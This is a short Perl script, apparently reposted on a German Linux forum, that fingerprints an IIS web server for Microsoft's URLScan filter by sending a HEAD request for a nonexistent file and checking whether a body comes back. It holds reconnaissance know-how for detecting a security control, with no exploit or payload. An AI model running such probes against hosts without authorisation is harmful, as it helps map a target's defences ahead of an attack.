# This tool simply checks an IIS machine for the implementation of  the
# URLScan information security control provided by Microsoft. This tool
# does not comply with RFC 2616 and is therefore detectable.
#
# Detects:
#  - URLScan up to 6.0.3547.0
#  - Other versions ??
#
# References:
#  - Stephen Cope <mail@nonsense.kimihia.org.nz>
#  - RFC 2616
#
# Quickhack code: feel free to modify, update, delete, ... this piece
# of quickly slapped together code for your own fun and profit :)
#
#######################################################################

use IO::Socket;
use Net::hostent;

print "isurlscan.pl - Test Microsoft URL Scan Usage, by Filip Maertens\n";
die " [x] Too little arguments, syntax: isurlscan [host] (port)\n\n" if @ARGV == 0;

#######################################################################
# COMMAND LINE STUFF

   $port = $ARGV[1];
   $port = "80" if $ARGV[1] == "";
   $host = inet_ntoa(gethostbyname($ARGV[0])->addr);

print " Evaluating parameters:\n";
print "  - Hostname : $ARGV[0], ($host:$port)\n";
print "  - Port     : $port\n";
print " Creating request: ";

   $request = "HEAD /isurlscan.exe HTTP/1.0\nHost:$ARGV[0]\nUser-Agent:IsURLScan v0.01\r\n\r\n";

print "Done\n";


#######################################################################
# ZHA REEL STUFF

print " Connection status: ";
  
   $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";
   print "Alive\n";
   print $socket "$request";

   # Check returned data

   my $the_response=<$socket>;

   # get the header data :: if you feel savvy, you might want to insert more controls here
  
   while(<$socket>=~ m/^(\S+):\s+(.+)/) {
         # skip over the headers
   }

   my $data='';

   # get the entity body

   while (<$socket>) {
          $data.=$_
   };

   close($socket);

   $status = "RFC 2616 compliant";
   $status = "Non RFC 2616 compliant, URL Scan might be implemented" if length($data) > 0;

print " Target status: ";

print "$status\n\n";

#######################################################################
#                                  (EOF)


quelle packet
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
Um auf dieses Thema zu ANTWORTEN
bitte erst » hier kostenlos registrieren!!

Folgende Themen könnten Dich auch interessieren: